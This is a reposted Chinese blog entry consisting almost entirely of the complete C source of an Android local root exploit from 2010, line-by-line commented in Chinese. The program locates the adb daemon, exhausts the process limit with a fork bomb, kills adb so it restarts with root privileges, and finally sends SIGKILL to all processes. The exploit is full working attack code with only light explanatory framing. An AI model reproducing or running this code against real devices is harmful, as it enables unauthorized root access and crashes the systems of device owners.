如下:
//头文件包含 #include <stdio.h> #include <sys/types.h> #include <sys/time.h> #include <sys/resource.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <string.h> #include <signal.h> #include <stdlib.h> //输出错误消息后退出程序 void die(const char *msg) { perror(msg); exit(errno); } //搜索ADB进程,返回其PID,没有找到时返回0 pid_t find_adb() { char buf[256]; int i = 0, fd = 0; pid_t found = 0; //初始化为0,如果没有找到adb将一直保持0值 //遍历进程ID的有效范围 for (i = 0; i < 32000; ++i) { //拼接字符串"/proc/<PID>/cmdline" sprintf(buf, "/proc/%d/cmdline", i); //打开失败,进程不存在或无权访问 if ((fd = open(buf, O_RDONLY)) < 0) { //跳过这个PID,继续下一轮循环 continue; } //end if //buf填0 memset(buf, 0, sizeof(buf)); //读取进程的命令行 read(fd, buf, sizeof(buf) - 1); //关闭进程 close(fd); //在命令行中查找"/sbin/adb" if (strstr(buf, "/sbin/adb")) { //找到了"/sbin/adb"则说明找到了adb进程,返回找到的PID found = i; break; } //end if } //end for //返回找到的PID或0值 return found; } //重启adb进程,参数为当前adb进程的PID void restart_adb(pid_t pid) { //直接杀死进程(sig = SIGKILL) kill(pid, 9); } //等待具有root权限的adb进程 //参数为原有adb进程的PID void wait_for_root_adb(pid_t old_adb) { pid_t p = 0; //死循环,只能由里面的break跳出 for (;;) { //搜索adb进程 p = find_adb(); //找到了adb进程,并且不是原来那个旧的adb进程 if (p != 0 && p != old_adb) { //退出循环 break; } //休息1秒,防止大量占用CPU sleep(1); } //end for //休息5秒,等待新的adb进程初始化完毕 sleep(5); //将SIGKILL广播给系统中的所有进程 kill(-1, 9); } //程序入口点 int main(int argc, char **argv) { pid_t adb_pid = 0, p; int pids = 0, new_pids = 1; int pepe[2]; char c = 0; struct rlimit rl; //启动时显示的版本与版权信息 printf(" CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n"); printf(" checking NPROC limit ...\n"); //获取当前进程可以创建的最大子进程数量 if (getrlimit(RLIMIT_NPROC, &rl) < 0) { //失败时输出消息退出 die("[-] getrlimit"); } //检查是否有最大子进程数量限制 if (rl.rlim_cur == RLIM_INFINITY) { //当没有最大子进程数量限制时,不执行exploit,否则将导致系统崩溃 printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n"); exit(1); } //输出最大子进程数量软性限制和硬性限制 printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max); printf(" Searching for adb ...\n"); //查找adb进程 adb_pid = find_adb(); //检查是否找到了adb进程 if (!adb_pid) { //没有找到时直接退出 die("[-] Cannot find adb"); } //输出adb进程的PID printf("[+] Found adb as PID %d\n", adb_pid); //输出一大堆废话 printf(" Spawning children. Dont type anything and wait for reset!\n"); printf("\n If you like what we are doing you can send us PayPal money to\n" " [email protected] so we can compensate time, effort and HW costs.\n" " If you are a company and feel like you profit from our work,\n" " we also accept donations > 1000 USD!\n"); printf("\n adb connection will be reset. restart adb server on desktop and re-login.\n"); //休息5秒,防止当前的adb进程没有完全初始化 sleep(5); //如果在父进程中(已有子进程) if (fork() > 0) { //退出 exit(0); } //创建一个新的进程组 setsid(); //创建管道 pipe(pepe); //如果在子进程中 if (fork() == 0) { //关闭输入管道 close(pepe[0]); //死循环,直到满足条件时退出进程 for (;;) { //如果是子进程 if ((p = fork()) == 0) { //直接退出 exit(0); } else if (p < 0) //创建进程失败,说明已达到进程数最大值 { //确保代码只执行一次,防止多个进程反复输出信息 if (new_pids) { printf("\n[+] Forked %d childs.\n", pids); new_pids = 0; //在输出管道中写入一个字节,然后关闭管道 //相当于通知顶级父进程fork炸弹完成 write(pepe[1], &c, 1); close(pepe[1]); } } else { //进程总数+1 ++pids; } } } //关闭输出管道 close(pepe[1]); //从输入管道中读一个字符,用来等待前面创建的子进程到达最大值 read(pepe[0], &c, 1); //重启adb restart_adb(adb_pid); //在adb重启完以前,再创建一个子进程,占用刚释放出的进程空位 if (fork() == 0) { //子进程里继续开子进程,保证进程空位被占满 fork(); //无限休眠,永不退出 for (;;) { sleep(0x743C); } } //等待具有root权限的adb启动 wait_for_root_adb(adb_pid); //执行完毕 return 0; }
转自:http://blog.sina.com.cn/s/blog_405bf2e501011ic7.html
时间: 2024-10-16 22:21:12